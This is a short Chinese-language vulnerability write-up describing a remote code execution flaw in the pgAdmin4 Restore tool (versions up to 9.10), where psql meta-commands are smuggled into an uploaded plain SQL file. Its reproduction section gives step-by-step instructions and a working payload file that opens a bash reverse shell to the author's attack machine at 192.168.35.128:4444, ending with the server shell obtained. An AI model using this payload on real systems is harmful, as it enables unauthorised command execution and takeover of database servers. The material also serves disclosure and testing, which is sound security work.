漏洞详情 #
pgAdmin 是一个流行且功能丰富的开源 PostgreSQL 数据库管理和开发平台,广泛被数据库管理员和开发者用于通过 Web 界面管理 PostgreSQL 数据库。
该漏洞存在于 pgAdmin4 的数据库恢复(Restore)工具中,该工具使用 psql 命令行程序执行用户上传的纯文本 SQL 文件。攻击者可以利用特殊字符绕过 pgAdmin4 对文件内容的安全检查,在 SQL 文件中嵌入元命令(\!),从而通过 psql 程序在服务器上执行任意系统命令,实现远程代码执行。
受影响版本 #
pgAdmin4 <= 9.10
漏洞复现 #
登录pgadmin4

选择恢复功能

Format选择Plain,且选择上传文件

构造payload保存为test.sql,其中ip为我的攻击机kali IP,同时kali监听4444端口
SELECT 1;
\! bash -c 'bash -i >& /dev/tcp/192.168.35.128/4444 0>&1'
上传构造好的payload(test.sql)

开始恢复操作(开始执行恶意语句)

成功拿到服务器shell
